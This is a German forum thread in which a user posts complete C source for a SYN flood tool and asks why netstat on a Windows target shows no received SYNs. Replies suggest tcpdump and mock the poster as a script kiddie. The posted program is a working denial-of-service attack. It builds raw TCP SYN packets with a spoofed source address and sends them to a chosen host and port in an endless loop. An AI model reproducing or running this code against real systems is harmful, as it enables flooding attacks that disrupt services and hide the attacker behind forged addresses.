Syn Flooder geht nicht!



  • hi

    ich habe das ganze hier unter Linux kompiliert, aber mein Problem ist jetzt wenn ich zum Beispiel der Synflood auf Port 139 auf ein Windows System starte, zeigt Netstat -n oder -a nichts an das ein Syn received wurde oder so?

    /*** syn_flood.c ***/
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    
    int main(int argc, char *argv[])
    {
    	int 			s, bytes, on = 1;
    	char 			buffer[1024];
    	struct iphdr 		*ip;
    	struct tcphdr		*tcp;
    	struct sockaddr_in	to;
    	struct in_addr		addr;
    
    	if (argc != 4)
    	{
    		fprintf(stderr, "%s <dest-addr> <port> <wait>\n", argv[0]);
    		return 1;
    	}
    
    	s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    	if (s == -1)
    	{
    		perror("socket() failed");
    		return 1;
    	}
    
    	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1)
    	{
    		perror("setsockopt() failed");
    		return 2;
    	}
    
    	ip = (struct iphdr*) buffer;
    	tcp = (struct tcphdr*) (buffer + sizeof(struct iphdr));
    
    	memset(ip, 0, sizeof(struct iphdr));
    	ip->version = 4;
    	ip->ihl = 5;
    	ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
    	ip->id = random();
    	ip->ttl = 255;
    	ip->protocol = IPPROTO_TCP;
    	ip->saddr = inet_addr("1.2.3.4");
    	ip->daddr = inet_addr(argv[1]);
    
    	memset(tcp, 0, sizeof(struct tcphdr));
    	tcp->source = htons(1024);
    	tcp->dest = htons(atol(argv[2]));
    	tcp->seq = random();
    	tcp->doff = 5;
    	tcp->syn = 1;
    	tcp->window = htons(65535);
    
            to.sin_addr.s_addr = ip->daddr;
            to.sin_family = AF_INET;
            to.sin_port = tcp->dest;
    
            printf("Ziel: %s:%i\n", inet_ntoa(to.sin_addr), ntohs(tcp->dest));
            addr.s_addr = ip->saddr;
            printf("Quelle: %s:%i\n", inet_ntoa(addr), ntohs(tcp->source));
    
            for(;;)
            {
    	        bytes = sendto(s, buffer, ntohs(ip->tot_len), 0, &to, sizeof(to));
            	if (bytes == -1)
    	        {
            		perror("sendto() failed");
            		return 1;
            	}
            	putchar('.');
            	fflush(stdout);
    
            	sleep(atol(argv[3]));
            }
    
    	return 0;
    }
    /*** Ende von syn_flood.c ***/
    


  • Ist heute Tag der Hacker? Benutz einfach mal tcpdump, dann siehste ob was passiert......



  • Neee, "Script-Kiddies erobern das Internet"-Tag...
    😮



  • äuä 😃


Anmelden zum Antworten